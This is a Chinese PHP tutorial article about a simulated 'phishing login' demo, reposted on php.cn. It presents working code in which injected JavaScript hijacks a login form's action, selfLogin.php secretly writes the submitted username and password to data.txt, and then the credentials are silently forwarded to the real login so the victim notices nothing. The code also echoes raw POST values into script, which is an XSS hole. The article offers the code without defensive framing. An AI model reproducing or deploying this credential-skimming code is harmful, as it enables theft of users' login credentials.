• 技术文章 >后端开发 >php教程

    PHP和JS实现模仿登录钓鱼的代码示例

    不言不言2019-08-19 18:09:38转载1550

    本篇文章给大家带来的内容是关于PHP和JS实现模仿登录钓鱼的代码示例,有一定的参考价值,有需要的朋友可以参考一下,希望对你有所帮助。

    目录介绍

    login.php 正常登录的文件

    selfLogin.php 自定义的登录文件

    data.txt 记录用户输入的数据

    login.php

    <?php
        echo "<pre>";
        $userInfo = $_POST ;
        if ($userInfo) {
            # code...
            var_dump($userInfo,'登录成功') ;exit();
        }
    
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>登录</title>
    </head>
    <body>
        <form id="login" method="post" action="login.php">
            用户姓名:<input type="text" name="name">
            用户密码:<input type="password" name="pwd">
            <input type="submit" value="确认登录">
        </form>
    </body>
    <script type="text/javascript">
    
        //js劫持代码
        window.onload = function (eve) {
            var form = document.getElementById('login');
            form.innerHTML = ' <form id="login" method="post" > 用户姓名:<input type="text" name="name"> 用户密码:<input type="password" name="pwd"> <input type="submit" value="确认登录">    </form> '  ;
            //钓鱼地址
            form.action = "selfLogin.php" ;
        }
    </script>
    </html>

    selfLogin.php

    <?php
        $name = '' ;
        $pwd  = '' ;
        //var_dump('数据被截取了',$_POST) ;
        if($_POST) {
            //记录获取的数据信息
            $name = $_POST['name'] ;
            $pwd = $_POST['pwd'] ;
            file_put_contents('data.txt', json_encode($_POST,true)) ;
        }
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title></title>
    </head>
    <body>
    
    </body>
    <script type="text/javascript">
        //构建之前的页面
        window.onload = function (eve) {
            var name = '<?php echo $name; ?>' ;
            var pwd = '<?php echo $pwd; ?>' ;
            if(name && pwd) {
                var p = document.createElement('p');
                document.body.appendChild(p);
                p.innerHTML =' <form id="login2" method="post" action="login.php" > '+
                    ' 用户姓名:<input type="text" name="name" value="'+name+'"> 用户密码:<input type="password" name="pwd" value="'+pwd+'"> '  ;
                document.getElementById('login2').submit();
            }
        }
    </script>
    </html>

    data.txt

    {"name":"admin","pwd":"123456"}

    本篇文章到这里就已经全部结束了,更多其他精彩内容可以关注PHP中文网的JavaScript视频教程栏目!

    以上就是PHP和JS实现模仿登录钓鱼的代码示例的详细内容,更多请关注php中文网其它相关文章!

    声明:本文转载于:segmentfault,如有侵犯,请联系admin@php.cn删除
    专题推荐:javascript php
    上一篇:PHP如何实现字符串16进制转换2进制? 下一篇:PHP中ArrayObject exchangeArray()函数的使用详解
    大前端线上培训班

    相关文章推荐

    • php和js实现弹出对话框实例分享• PHP和JS实现搜索提示功能代码分享• php和js如何获取当前页面的查询信息• php和js互传cookie导致出现中文乱码的原因和解决措施• UNICODE编码转换为中文汉字的两种实现方式(php和js)

    全部评论我要评论

  • 取消发布评论发送
  • 1/1

    PHP中文网